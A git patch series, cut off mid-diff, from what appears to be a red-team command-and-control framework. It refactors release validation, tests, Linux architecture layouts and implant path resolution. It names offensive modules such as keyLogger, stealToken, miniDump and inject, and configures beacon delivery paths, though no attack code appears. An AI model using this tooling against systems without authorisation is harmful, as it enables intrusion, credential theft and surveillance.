0000000..fe5f73b --- /dev/null +++ b/packaging/tests/test_validate_release.py @@ -0,0 +1,54 @@ +from __future__ import annotations + +import os +import stat +import sys +from pathlib import Path + +import pytest + +PACKAGING_ROOT = Path(__file__).resolve().parents[1] +sys.path.insert(0, str(PACKAGING_ROOT)) + +import validate_release # noqa: E402 + + +def _write_file(path: Path, content: str = "x", *, executable: bool = False) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content, encoding="utf-8") + if executable and os.name != "nt": + path.chmod(path.stat().st_mode | stat.S_IXUSR) + + +def _seed_base_release(root: Path) -> None: + for filename in validate_release.EXPECTED_TEAMSERVER_FILES: + _write_file(root / "TeamServer" / filename, executable=filename == "TeamServer") + (root / "TeamServer" / "logs").mkdir(parents=True) + + for filename in validate_release.EXPECTED_TEAMSERVER_MODULES: + _write_file(root / "TeamServerModules" / filename) + + for filename in validate_release.EXPECTED_COMMAND_SPECS_COMMON: + _write_file(root / "CommandSpecs" / "common" / filename, "{}") + for filename in validate_release.EXPECTED_COMMAND_SPECS_MODULES: + _write_file(root / "CommandSpecs" / "modules" / filename, "{}") + + _write_file(root / "Client" / "README.md") + _write_file(root / "Client" / "pyproject.toml") + _write_file(root / "Client" / "requirements.txt") + _write_file(root / "Client" / "run-client.sh", executable=True) + _write_file(root / "Client" / "run-client.ps1") + _write_file(root / "Client" / "c2client_protocol" / "__init__.py") + _write_file(root / "Client" / "c2client_protocol" / "TeamServerApi_pb2.py") + _write_file(root / "Client" / "c2client_protocol" / "TeamServerApi_pb2_grpc.py") + + +def test_validate_base_release_requires_command_specs(tmp_path): + release_root = tmp_path / "Release" + _seed_base_release(release_root) + + validate_release.validate_base_release(release_root) + + (release_root / "CommandSpecs" / "modules" / "taskScheduler.json").unlink() + with pytest.raises(validate_release.ValidationError, match="taskScheduler.json"): + validate_release.validate_base_release(release_root) diff --git a/packaging/validate_release.py b/packaging/validate_release.py index 5708cd6..2084e18 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -142,6 +142,58 @@ EXPECTED_LINUX_MODULES = EXPECTED_TEAMSERVER_MODULES +EXPECTED_COMMAND_SPECS_COMMON = ( + "sleep.json", + "end.json", + "help.json", + "listener.json", + "listModule.json", + "loadModule.json", + "unloadModule.json", +) + +EXPECTED_COMMAND_SPECS_MODULES = ( + "assemblyExec.json", + "cat.json", + "cd.json", + "cimExec.json", + "dcomExec.json", + "download.json", + "enumerateRdpSessions.json", + "enumerateShares.json", + "evasion.json", + "getEnv.json", + "inject.json", + "ipConfig.json", + "kerberosUseTicket.json", + "keyLogger.json", + "killProcess.json", + "ls.json", + "makeToken.json", + "miniDump.json", + "mkDir.json", + "netstat.json", + "ps.json", + "psExec.json", + "pwd.json", + "registry.json", + "remove.json", + "rev2self.json", + "reversePortForward.json", + "run.json", + "screenShot.json", + "shell.json", + "spawnAs.json", + "sshExec.json", + "stealToken.json", + "taskScheduler.json", + "tree.json", + "upload.json", + "whoami.json", + "winRm.json", + "wmiExec.json", +) + class ValidationError(RuntimeError): pass @@ -236,30 +288,10 @@ def validate_base_release(release_root: Path) -> None: _require_directory_exact(modules_root, EXPECTED_TEAMSERVER_MODULES) - _require_non_empty_file(command_specs_root / "common" / "sleep.json") - _require_non_empty_file(command_specs_root / "common" / "end.json") - _require_non_empty_file(command_specs_root / "common" / "help.json") - _require_non_empty_file(command_specs_root / "common" / "listener.json") - _require_non_empty_file(command_specs_root / "common" / "listModule.json") - _require_non_empty_file(command_specs_root / "common" / "loadModule.json") - _require_non_empty_file(command_specs_root / "common" / "unloadModule.json") - _require_non_empty_file(command_specs_root / "modules" / "pwd.json") - _require_non_empty_file(command_specs_root / "modules" / "whoami.json") - _require_non_empty_file(command_specs_root / "modules" / "ls.json") - _require_non_empty_file(command_specs_root / "modules" / "cd.json") - _require_non_empty_file(command_specs_root / "modules" / "ps.json") - _require_non_empty_file(command_specs_root / "modules" / "cat.json") - _require_non_empty_file(command_specs_root / "modules" / "tree.json") - _require_non_empty_file(command_specs_root / "modules" / "run.json") - _require_non_empty_file(command_specs_root / "modules" / "download.json") - _require_non_empty_file(command_specs_root / "modules" / "upload.json") - _require_non_empty_file(command_specs_root / "modules" / "mkDir.json") - _require_non_empty_file(command_specs_root / "modules" / "remove.json") - _require_non_empty_file(command_specs_root / "modules" / "ipConfig.json") - _require_non_empty_file(command_specs_root / "modules" / "netstat.json") - _require_non_empty_file(command_specs_root / "modules" / "shell.json") - _require_non_empty_file(command_specs_root / "modules" / "assemblyExec.json") - _require_non_empty_file(command_specs_root / "modules" / "inject.json") + for spec in EXPECTED_COMMAND_SPECS_COMMON: + _require_non_empty_file(command_specs_root / "common" / spec) + for spec in EXPECTED_COMMAND_SPECS_MODULES: + _require_non_empty_file(command_specs_root / "modules" / spec) _require_non_empty_file(client_root / "README.md") _require_non_empty_file(client_root / "pyproject.toml") From df9eae6ff10a1a02097ed6fe0e364af5268d7752 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 21:22:33 +0200 Subject: [PATCH 37/82] Folder layout --- core | 2 +- packaging/import_implant_releases.py | 8 +- .../tests/test_import_implant_releases.py | 7 + packaging/tests/test_validate_release.py | 30 +++ packaging/validate_release.py | 24 ++- .../teamServer/TeamServerArtifactCatalog.cpp | 49 ++++- .../TeamServerAssemblyExecCommandPreparer.cpp | 21 +- .../TeamServerCommandPreparationService.cpp | 22 +- teamServer/teamServer/TeamServerConfig.json | 20 +- .../TeamServerInjectCommandPreparer.cpp | 14 +- .../TeamServerListenerArtifactService.cpp | 33 ++- .../teamServer/TeamServerRuntimeConfig.cpp | 192 ++++++++++++++---- .../teamServer/TeamServerRuntimeConfig.hpp | 9 +- .../teamServer/TeamServerTermLocalService.cpp | 16 +- .../tests/TeamServerArtifactCatalogTests.cpp | 58 ++++-- ...amServerCommandPreparationServiceTests.cpp | 37 +++- ...TeamServerListenerArtifactServiceTests.cpp | 9 + .../tests/TeamServerTermLocalServiceTests.cpp | 2 +- 18 files changed, 439 insertions(+), 114 deletions(-) diff --git a/core b/core index aaf1aab..fa9a144 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit aaf1aabe462bdaddbe1b2f8124ddc7280f8e58bf +Subproject commit fa9a1446bb90bad94ba43e0a047ee26a682f5a3a diff --git a/packaging/import_implant_releases.py b/packaging/import_implant_releases.py index fb06f56..b21c00e 100644 --- a/packaging/import_implant_releases.py +++ b/packaging/import_implant_releases.py @@ -14,6 +14,7 @@ from validate_release import ( EXPECTED_LINUX_BEACONS, + EXPECTED_LINUX_ARCHES, EXPECTED_LINUX_MODULES, EXPECTED_WINDOWS_ARCHES, EXPECTED_WINDOWS_BEACONS, @@ -25,6 +26,7 @@ DEFAULT_WINDOWS_REPO = "maxDcb/C2Implant" DEFAULT_LINUX_REPO = "maxDcb/C2LinuxImplant" +DEFAULT_LINUX_ARCH = EXPECTED_LINUX_ARCHES[0] def _request(url: str, token: str | None = None) -> urllib.request.Request: @@ -177,8 +179,8 @@ def _prepare_linux(repo: str, tag: str | None, import_root: Path, stage_root: Pa _require_directory_exact(linux_beacons, EXPECTED_LINUX_BEACONS) _require_directory_exact(linux_modules, EXPECTED_LINUX_MODULES) return [ - (linux_beacons, stage_root / "LinuxBeacons", EXPECTED_LINUX_BEACONS), - (linux_modules, stage_root / "LinuxModules", EXPECTED_LINUX_MODULES), + (linux_beacons, stage_root / "LinuxBeacons" / DEFAULT_LINUX_ARCH, EXPECTED_LINUX_BEACONS), + (linux_modules, stage_root / "LinuxModules" / DEFAULT_LINUX_ARCH, EXPECTED_LINUX_MODULES), ] @@ -231,6 +233,8 @@ def main(argv: Iterable[str] | None = None) -> int: shutil.rmtree(stage_root / "WindowsBeacons", ignore_errors=True) shutil.rmtree(stage_root / "WindowsModules", ignore_errors=True) + shutil.rmtree(stage_root / "LinuxBeacons", ignore_errors=True) + shutil.rmtree(stage_root / "LinuxModules", ignore_errors=True) for source, destination, expected_files in copy_plan: _copy_validated_dir(source, destination, expected_files) except (RuntimeError, ValidationError, zipfile.BadZipFile, tarfile.TarError) as exc: diff --git a/packaging/tests/test_import_implant_releases.py b/packaging/tests/test_import_implant_releases.py index cef42fa..31339b1 100644 --- a/packaging/tests/test_import_implant_releases.py +++ b/packaging/tests/test_import_implant_releases.py @@ -72,8 +72,15 @@ def fake_fetch_release_asset(repo, tag, asset_name, destination, token): assert beacon_path.read_text(encoding="utf-8") == f"{arch}:BeaconHttp.exe" assert module_path.read_text(encoding="utf-8") == f"{arch}:Inject.dll" + linux_beacon_path = stage_root / "LinuxBeacons" / "x64" / "BeaconHttp" + linux_module_path = stage_root / "LinuxModules" / "x64" / "libInject.so" + assert linux_beacon_path.read_text(encoding="utf-8") == "linux:BeaconHttp" + assert linux_module_path.read_text(encoding="utf-8") == "linux:libInject.so" + assert not any((stage_root / "WindowsBeacons").glob("*.exe")) assert not any((stage_root / "WindowsModules").glob("*.dll")) + assert not any((stage_root / "LinuxBeacons").glob("Beacon*")) + assert not any((stage_root / "LinuxModules").glob("*.so")) def test_import_implant_releases_rejects_missing_windows_arch_asset(tmp_path, monkeypatch): diff --git a/packaging/tests/test_validate_release.py b/packaging/tests/test_validate_release.py index fe5f73b..686d73c 100644 --- a/packaging/tests/test_validate_release.py +++ b/packaging/tests/test_validate_release.py @@ -52,3 +52,33 @@ def test_validate_base_release_requires_command_specs(tmp_path): (release_root / "CommandSpecs" / "modules" / "taskScheduler.json").unlink() with pytest.raises(validate_release.ValidationError, match="taskScheduler.json"): validate_release.validate_base_release(release_root) + + +def test_validate_base_release_rejects_runtime_data_roots(tmp_path): + release_root = tmp_path / "Release" + _seed_base_release(release_root) + (release_root / "data" / "Tools").mkdir(parents=True) + + with pytest.raises(validate_release.ValidationError, match="runtime/operator data"): + validate_release.validate_base_release(release_root) + + +def test_validate_implants_requires_linux_arch_layout(tmp_path): + release_root = tmp_path / "Release" + for arch in validate_release.EXPECTED_WINDOWS_ARCHES: + for filename in validate_release.EXPECTED_WINDOWS_BEACONS: + _write_file(release_root / "WindowsBeacons" / arch / filename) + for filename in validate_release.EXPECTED_WINDOWS_MODULES: + _write_file(release_root / "WindowsModules" / arch / filename) + for arch in validate_release.EXPECTED_LINUX_ARCHES: + for filename in validate_release.EXPECTED_LINUX_BEACONS: + _write_file(release_root / "LinuxBeacons" / arch / filename) + for filename in validate_release.EXPECTED_LINUX_MODULES: + _write_file(release_root / "LinuxModules" / arch / filename) + + validate_release.validate_implants(release_root) + + flat_beacon = release_root / "LinuxBeacons" / "BeaconHttp" + _write_file(flat_beacon) + with pytest.raises(validate_release.ValidationError, match="unexpected file"): + validate_release.validate_implants(release_root) diff --git a/packaging/validate_release.py b/packaging/validate_release.py index 2084e18..ae03408 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -71,6 +71,10 @@ "arm64", ) +EXPECTED_LINUX_ARCHES = ( + "x64", +) + EXPECTED_WINDOWS_BEACONS = ( "BeaconDns.exe", "BeaconDnsDll.dll", @@ -286,6 +290,14 @@ def validate_base_release(release_root: Path) -> None: if not (teamserver_root / "logs").is_dir(): raise ValidationError(f"Missing TeamServer logs directory: {teamserver_root / 'logs'}") + runtime_data_roots = ("data", "Tools", "Scripts", "UploadedArtifacts", "GeneratedArtifacts", "www") + packaged_data_roots = [name for name in runtime_data_roots if (release_root / name).exists()] + if packaged_data_roots: + raise ValidationError( + "Release staging contains runtime/operator data directories: " + + ", ".join(packaged_data_roots) + ) + _require_directory_exact(modules_root, EXPECTED_TEAMSERVER_MODULES) for spec in EXPECTED_COMMAND_SPECS_COMMON: @@ -326,8 +338,16 @@ def validate_implants(release_root: Path) -> None: EXPECTED_WINDOWS_ARCHES, EXPECTED_WINDOWS_MODULES, ) - _require_directory_exact(release_root / "LinuxBeacons", EXPECTED_LINUX_BEACONS) - _require_directory_exact(release_root / "LinuxModules", EXPECTED_LINUX_MODULES) + _require_arch_directories_exact( + release_root / "LinuxBeacons", + EXPECTED_LINUX_ARCHES, + EXPECTED_LINUX_BEACONS, + ) + _require_arch_directories_exact( + release_root / "LinuxModules", + EXPECTED_LINUX_ARCHES, + EXPECTED_LINUX_MODULES, + ) def main() -> int: diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 6ebd3f1..3f2b7de 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -353,9 +353,10 @@ void collectGeneratedArtifacts( } } -void collectWindowsArchArtifacts( +void collectPlatformArchArtifacts( const fs::path& root, const std::vector& supportedArchs, + const std::string& platform, const std::string& category, const std::string& scope, const std::string& target, @@ -363,7 +364,38 @@ void collectWindowsArchArtifacts( std::vector& artifacts) { for (const std::string& arch : supportedArchs) - collectDirectoryArtifacts(root / arch, category, scope, target, "windows", arch, runtime, artifacts); + collectDirectoryArtifacts(root / arch, category, scope, target, platform, arch, runtime, artifacts); +} + +void collectToolsArtifacts( + const fs::path& root, + const std::vector& supportedWindowsArchs, + const std::vector& supportedLinuxArchs, + std::vector& artifacts) +{ + collectDirectoryArtifacts(root / "Any" / "any", "tool", "server", "teamserver", "any", "any", "any", artifacts); + collectPlatformArchArtifacts(root / "Windows", supportedWindowsArchs, "windows", "tool", "server", "teamserver", "any", artifacts); + collectPlatformArchArtifacts(root / "Linux", supportedLinuxArchs, "linux", "tool", "server", "teamserver", "any", artifacts); +} + +void collectScriptArtifacts( + const fs::path& root, + std::vector& artifacts) +{ + collectDirectoryArtifacts(root / "Windows", "script", "server", "beacon", "windows", "any", "script", artifacts); + collectDirectoryArtifacts(root / "Linux", "script", "server", "beacon", "linux", "any", "script", artifacts); + collectDirectoryArtifacts(root / "Any", "script", "server", "beacon", "any", "any", "script", artifacts); +} + +void collectUploadedArtifacts( + const fs::path& root, + const std::vector& supportedWindowsArchs, + const std::vector& supportedLinuxArchs, + std::vector& artifacts) +{ + collectDirectoryArtifacts(root / "Any" / "any", "upload", "operator", "beacon", "any", "any", "file", artifacts); + collectPlatformArchArtifacts(root / "Windows", supportedWindowsArchs, "windows", "upload", "operator", "beacon", "file", artifacts); + collectPlatformArchArtifacts(root / "Linux", supportedLinuxArchs, "linux", "upload", "operator", "beacon", "file", artifacts); } bool sortArtifacts(const TeamServerArtifactRecord& left, const TeamServerArtifactRecord& right) @@ -382,12 +414,13 @@ std::vector TeamServerArtifactCatalog::listArtifacts(c { std::vector allArtifacts; collectDirectoryArtifacts(m_runtimeConfig.teamServerModulesDirectoryPath, "module", "teamserver", "teamserver", "server", "any", "native", allArtifacts); - collectDirectoryArtifacts(m_runtimeConfig.linuxModulesDirectoryPath, "module", "beacon", "beacon", "linux", "any", "native", allArtifacts); - collectWindowsArchArtifacts(m_runtimeConfig.windowsModulesDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "module", "beacon", "beacon", "native", allArtifacts); - collectDirectoryArtifacts(m_runtimeConfig.linuxBeaconsDirectoryPath, "beacon", "implant", "listener", "linux", "any", "native", allArtifacts); - collectWindowsArchArtifacts(m_runtimeConfig.windowsBeaconsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "beacon", "implant", "listener", "native", allArtifacts); - collectDirectoryArtifacts(m_runtimeConfig.toolsDirectoryPath, "tool", "server", "teamserver", "any", "any", "any", allArtifacts); - collectDirectoryArtifacts(m_runtimeConfig.scriptsDirectoryPath, "script", "teamserver", "teamserver", "any", "any", "python", allArtifacts); + collectPlatformArchArtifacts(m_runtimeConfig.linuxModulesDirectoryPath, m_runtimeConfig.supportedLinuxArchs, "linux", "module", "beacon", "beacon", "native", allArtifacts); + collectPlatformArchArtifacts(m_runtimeConfig.windowsModulesDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "windows", "module", "beacon", "beacon", "native", allArtifacts); + collectPlatformArchArtifacts(m_runtimeConfig.linuxBeaconsDirectoryPath, m_runtimeConfig.supportedLinuxArchs, "linux", "beacon", "implant", "listener", "native", allArtifacts); + collectPlatformArchArtifacts(m_runtimeConfig.windowsBeaconsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "windows", "beacon", "implant", "listener", "native", allArtifacts); + collectToolsArtifacts(m_runtimeConfig.toolsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, m_runtimeConfig.supportedLinuxArchs, allArtifacts); + collectScriptArtifacts(m_runtimeConfig.scriptsDirectoryPath, allArtifacts); + collectUploadedArtifacts(m_runtimeConfig.uploadedArtifactsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, m_runtimeConfig.supportedLinuxArchs, allArtifacts); collectGeneratedArtifacts(m_runtimeConfig.generatedArtifactsDirectoryPath, allArtifacts); std::vector filteredArtifacts; diff --git a/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp index fb5b7da..34e3ba6 100644 --- a/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp +++ b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp @@ -1,5 +1,6 @@ #include "TeamServerAssemblyExecCommandPreparer.hpp" +#include #include #include @@ -9,16 +10,26 @@ namespace fs = std::filesystem; namespace { -std::string resolveSourcePath(const TeamServerRuntimeConfig& runtimeConfig, const std::string& path) +std::string resolveSourcePath( + const TeamServerRuntimeConfig& runtimeConfig, + const std::string& path, + const std::string& windowsArch) { if (path.empty()) return ""; if (fs::exists(path)) return path; - fs::path toolPath = fs::path(runtimeConfig.toolsDirectoryPath) / path; - if (fs::exists(toolPath)) - return toolPath.string(); + const std::array toolCandidates = { + fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / windowsArch / path, + fs::path(runtimeConfig.toolsDirectoryPath) / "Any" / "any" / path, + fs::path(runtimeConfig.toolsDirectoryPath) / path, + }; + for (const fs::path& toolPath : toolCandidates) + { + if (fs::exists(toolPath)) + return toolPath.string(); + } return path; } @@ -78,7 +89,7 @@ TeamServerCommandPreparerResult TeamServerAssemblyExecCommandPreparer::prepare( TeamServerShellcodeRequest shellcodeRequest; shellcodeRequest.generator = options.generator; - shellcodeRequest.sourcePath = resolveSourcePath(m_runtimeConfig, options.sourcePath); + shellcodeRequest.sourcePath = resolveSourcePath(m_runtimeConfig, options.sourcePath, context.windowsArch); shellcodeRequest.sourceType = options.sourceType; shellcodeRequest.arch = context.windowsArch; shellcodeRequest.method = options.method; diff --git a/teamServer/teamServer/TeamServerCommandPreparationService.cpp b/teamServer/teamServer/TeamServerCommandPreparationService.cpp index 1eada17..044c8bd 100644 --- a/teamServer/teamServer/TeamServerCommandPreparationService.cpp +++ b/teamServer/teamServer/TeamServerCommandPreparationService.cpp @@ -78,16 +78,18 @@ int TeamServerCommandPreparationService::prepareMessage( int res = 0; const std::string instruction = splitedCmd[0]; - std::string normalizedWindowsArch = TeamServerRuntimeConfig::normalizeWindowsArch(windowsArch); - if (isWindows && normalizedWindowsArch.empty()) - normalizedWindowsArch = "x64"; + std::string normalizedTargetArch = isWindows + ? TeamServerRuntimeConfig::normalizeWindowsArch(windowsArch) + : TeamServerRuntimeConfig::normalizeLinuxArch(windowsArch); + if (normalizedTargetArch.empty()) + normalizedTargetArch = isWindows ? m_runtimeConfig.defaultWindowsArch : m_runtimeConfig.defaultLinuxArch; bool isModuleFound = false; TeamServerCommandPreparerContext preparerContext; preparerContext.input = input; preparerContext.tokens = splitedCmd; preparerContext.isWindows = isWindows; - preparerContext.windowsArch = normalizedWindowsArch; + preparerContext.windowsArch = normalizedTargetArch; for (const auto& preparer : m_preparers) { if (!preparer || !preparer->canPrepare(instruction)) @@ -146,15 +148,15 @@ int TeamServerCommandPreparationService::prepareMessage( } } - m_logger->debug("Preparing common command={0} isWindows={1} windowsArch={2}", instruction, isWindows, normalizedWindowsArch); - res = m_commonCommands.init(splitedCmd, c2Message, isWindows, normalizedWindowsArch); + m_logger->debug("Preparing common command={0} isWindows={1} targetArch={2}", instruction, isWindows, normalizedTargetArch); + res = m_commonCommands.init(splitedCmd, c2Message, isWindows, normalizedTargetArch); if (instruction == LoadModuleInstruction && res == 0) { m_logger->info( - "loadModule resolved module input={0} isWindows={1} windowsArch={2} path={3}", + "loadModule resolved module input={0} isWindows={1} targetArch={2} path={3}", splitedCmd.size() > 1 ? splitedCmd[1] : "", isWindows, - normalizedWindowsArch, + normalizedTargetArch, m_commonCommands.getLastResolvedModulePath()); } isModuleFound = true; @@ -166,8 +168,8 @@ int TeamServerCommandPreparationService::prepareMessage( continue; splitedCmd[0] = (*it)->getName(); - (*it)->setWindowsArch(normalizedWindowsArch); - m_logger->debug("Preparing module command={0} isWindows={1} windowsArch={2}", splitedCmd[0], isWindows, normalizedWindowsArch); + (*it)->setWindowsArch(normalizedTargetArch); + m_logger->debug("Preparing module command={0} isWindows={1} targetArch={2}", splitedCmd[0], isWindows, normalizedTargetArch); res = (*it)->init(splitedCmd, c2Message); isModuleFound = true; } diff --git a/teamServer/teamServer/TeamServerConfig.json b/teamServer/teamServer/TeamServerConfig.json index fb6caf1..e911fb0 100644 --- a/teamServer/teamServer/TeamServerConfig.json +++ b/teamServer/teamServer/TeamServerConfig.json @@ -1,17 +1,15 @@ { "//LogLevelValues": "trace, debug, info, warning, error, fatal", "LogLevel": "info", - "TeamServerModulesDirectoryPath": "../TeamServerModules/", - "LinuxModulesDirectoryPath": "../LinuxModules/", - "WindowsModulesDirectoryPath": "../WindowsModules/", - "LinuxBeaconsDirectoryPath": "../LinuxBeacons/", - "WindowsBeaconsDirectoryPath": "../WindowsBeacons/", + "ReleaseRoot": "../", + "DataRoot": "../data/", "DefaultWindowsArch": "x64", "SupportedWindowsArchs": ["x86", "x64", "arm64"], - "ToolsDirectoryPath": "../Tools/", - "ScriptsDirectoryPath": "../Scripts/", - "CommandSpecsDirectoryPath": "../CommandSpecs/", - "GeneratedArtifactsDirectoryPath": "../GeneratedArtifacts/", + "DefaultLinuxArch": "x64", + "SupportedLinuxArchs": ["x64"], + "UploadedArtifactsDirectoryPath": "../data/UploadedArtifacts/", + "GeneratedArtifactsDirectoryPath": "../data/GeneratedArtifacts/", + "WwwDirectoryPath": "../data/www/", "//Host contacted by the beacon": "3 following value are related to the host, probably a proxy, that will be contacted by the beacon, if DomainName is filled it will be selected first, then the ExposedIp and then the IpInterface", "DomainName": "", "ExposedIp": "", @@ -35,7 +33,7 @@ "/test/ws" ], "uriFileDownload": "/images/commun/1.084.4584/serv/", - "downloadFolder": "../www", + "downloadFolder": "../data/www", "server": { "headers": { "Access-Control-Allow-Origin": "true", @@ -61,7 +59,7 @@ "/test/ws" ], "uriFileDownload": "/images/commun/1.084.4584/serv/", - "downloadFolder": "../www", + "downloadFolder": "../data/www", "server": { "headers": { "Access-Control-Allow-Origin": "true", diff --git a/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp b/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp index 10a8822..2f1c0be 100644 --- a/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp +++ b/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp @@ -1,5 +1,6 @@ #include "TeamServerInjectCommandPreparer.hpp" +#include #include #include @@ -19,9 +20,16 @@ std::string resolveSourcePath( if (fs::exists(path)) return path; - fs::path toolPath = fs::path(runtimeConfig.toolsDirectoryPath) / path; - if (fs::exists(toolPath)) - return toolPath.string(); + const std::array toolCandidates = { + fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / windowsArch / path, + fs::path(runtimeConfig.toolsDirectoryPath) / "Any" / "any" / path, + fs::path(runtimeConfig.toolsDirectoryPath) / path, + }; + for (const fs::path& toolPath : toolCandidates) + { + if (fs::exists(toolPath)) + return toolPath.string(); + } fs::path beaconPath = fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / path; if (fs::exists(beaconPath)) diff --git a/teamServer/teamServer/TeamServerListenerArtifactService.cpp b/teamServer/teamServer/TeamServerListenerArtifactService.cpp index d26c9d2..51b00f3 100644 --- a/teamServer/teamServer/TeamServerListenerArtifactService.cpp +++ b/teamServer/teamServer/TeamServerListenerArtifactService.cpp @@ -144,16 +144,17 @@ std::string TeamServerListenerArtifactService::resolveBeaconBinaryPath( { const bool linuxTarget = targetOs == "Linux"; const fs::path windowsBeaconRoot = fs::path(m_runtimeConfig.windowsBeaconsDirectoryPath) / targetArch; + const fs::path linuxBeaconRoot = fs::path(m_runtimeConfig.linuxBeaconsDirectoryPath) / targetArch; if (type == ListenerHttpType || type == ListenerHttpsType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconHttp" : (windowsBeaconRoot / "BeaconHttp.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconHttp").string() : (windowsBeaconRoot / "BeaconHttp.exe").string(); if (type == ListenerTcpType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconTcp" : (windowsBeaconRoot / "BeaconTcp.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconTcp").string() : (windowsBeaconRoot / "BeaconTcp.exe").string(); if (primaryListener && type == ListenerGithubType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconGithub" : (windowsBeaconRoot / "BeaconGithub.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconGithub").string() : (windowsBeaconRoot / "BeaconGithub.exe").string(); if (primaryListener && type == ListenerDnsType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconDns" : (windowsBeaconRoot / "BeaconDns.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconDns").string() : (windowsBeaconRoot / "BeaconDns.exe").string(); if (!primaryListener && type == ListenerSmbType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconSmb" : (windowsBeaconRoot / "BeaconSmb.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconSmb").string() : (windowsBeaconRoot / "BeaconSmb.exe").string(); return ""; } @@ -237,7 +238,7 @@ grpc::Status TeamServerListenerArtifactService::handleGetBeaconBinary( const std::string& listenerHash = splitedCmd[1]; const std::string targetOsArg = splitedCmd.size() >= 3 ? lowerCopy(splitedCmd[2]) : "windows"; const std::string targetOs = targetOsArg == "linux" ? "Linux" : "Windows"; - std::string targetArch = m_runtimeConfig.defaultWindowsArch; + std::string targetArch = targetOs == "Linux" ? m_runtimeConfig.defaultLinuxArch : m_runtimeConfig.defaultWindowsArch; if (targetOs == "Windows") { if (splitedCmd.size() == 4) @@ -258,6 +259,26 @@ grpc::Status TeamServerListenerArtifactService::handleGetBeaconBinary( return grpc::Status::OK; } } + else + { + if (splitedCmd.size() == 4) + targetArch = TeamServerRuntimeConfig::normalizeLinuxArch(splitedCmd[3]); + else + targetArch = TeamServerRuntimeConfig::normalizeLinuxArch(targetArch); + + if (targetArch.empty()) + { + setTerminalError(response, "Error: Unsupported architecture."); + return grpc::Status::OK; + } + + if (std::find(m_runtimeConfig.supportedLinuxArchs.begin(), m_runtimeConfig.supportedLinuxArchs.end(), targetArch) + == m_runtimeConfig.supportedLinuxArchs.end()) + { + setTerminalError(response, "Error: Unsupported architecture."); + return grpc::Status::OK; + } + } for (const auto& listener : m_listeners) { diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.cpp b/teamServer/teamServer/TeamServerRuntimeConfig.cpp index 7a2aa3a..bd34aaa 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.cpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.cpp @@ -10,44 +10,116 @@ namespace fs = std::filesystem; +namespace +{ +std::string ensureTrailingSeparator(std::string path) +{ + if (!path.empty() && path.back() != '/' && path.back() != '\\') + path += '/'; + return path; +} + +std::string jsonString(const nlohmann::json& config, const char* key, const std::string& fallback) +{ + auto it = config.find(key); + if (it == config.end() || !it->is_string()) + return fallback; + return it->get(); +} + +std::string childPath(const std::string& root, const std::string& child) +{ + return ensureTrailingSeparator((fs::path(root) / child).string()); +} + +void parseArchList( + const nlohmann::json& config, + const char* key, + std::vector& archs, + const std::vector& fallback, + std::string (*normalizer)(const std::string&)) +{ + auto it = config.find(key); + if (it == config.end() || !it->is_array()) + return; + + archs.clear(); + for (const auto& arch : *it) + { + if (!arch.is_string()) + continue; + std::string normalized = normalizer(arch.get()); + if (!normalized.empty() && std::find(archs.begin(), archs.end(), normalized) == archs.end()) + archs.push_back(normalized); + } + if (archs.empty()) + archs = fallback; +} + +void ensureDirectory(const fs::path& path, const char* label, const std::shared_ptr& logger) +{ + std::error_code ec; + if (fs::exists(path, ec) && fs::is_directory(path, ec)) + return; + + fs::create_directories(path, ec); + if (ec) + logger->error("{0} directory path don't exist and could not be created: {1}", label, path.string().c_str()); +} + +void ensurePlatformArchDirectories( + const fs::path& root, + const std::string& platformDirectory, + const std::vector& archs, + const std::shared_ptr& logger) +{ + for (const std::string& arch : archs) + ensureDirectory(root / platformDirectory / arch, platformDirectory.c_str(), logger); +} +} // namespace + TeamServerRuntimeConfig TeamServerRuntimeConfig::fromJson(const nlohmann::json& config) { TeamServerRuntimeConfig runtimeConfig; - runtimeConfig.teamServerModulesDirectoryPath = config["TeamServerModulesDirectoryPath"].get(); - runtimeConfig.linuxModulesDirectoryPath = config["LinuxModulesDirectoryPath"].get(); - runtimeConfig.windowsModulesDirectoryPath = config["WindowsModulesDirectoryPath"].get(); - runtimeConfig.linuxBeaconsDirectoryPath = config["LinuxBeaconsDirectoryPath"].get(); - runtimeConfig.windowsBeaconsDirectoryPath = config["WindowsBeaconsDirectoryPath"].get(); - runtimeConfig.toolsDirectoryPath = config["ToolsDirectoryPath"].get(); - 